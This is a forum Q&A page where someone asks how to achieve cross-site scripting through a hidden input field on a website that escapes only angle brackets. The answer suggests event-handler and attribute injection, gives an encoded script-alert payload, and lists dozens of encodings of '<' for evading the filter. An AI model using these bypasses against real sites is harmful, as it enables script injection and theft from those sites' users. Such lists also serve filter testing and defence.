CODEWITHSUNDEEP
webxss
Sanghyun Sim
Sanghyun Sim

Reputation: 93

Input type hidden Cross site script attack

Web site have <> replace &lt;&gt; logic

So I can use ', " ... etc

I can inject 

<input type="hidden" value="$input">

So how can I attack xss without accesskey, style tag?

Upvotes: 0

Views: 737

Answers (1)

Liadco
Liadco

Reputation: 574

You will need to provide more information about where exactly you inject the code, and more about the server or website information.
Since you haven't provided such information, you can try some of these:

Try adding attributes,

Try using Event Handlers (onLoad() , onMouseOver() , etc)

US-ASCII encoding? (Apache Tomcat) - you can try: ¼script¾alert(¢XSS¢)¼/script¾ .


Since only < , > gets replaced by the website, take a look over these:
All the possible combinations of the character "<" in HTML and JavaScript.
Most of these won't render out of the box, but many of them can get rendered in certain circumstances.

<
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C

Upvotes: 1

Related Questions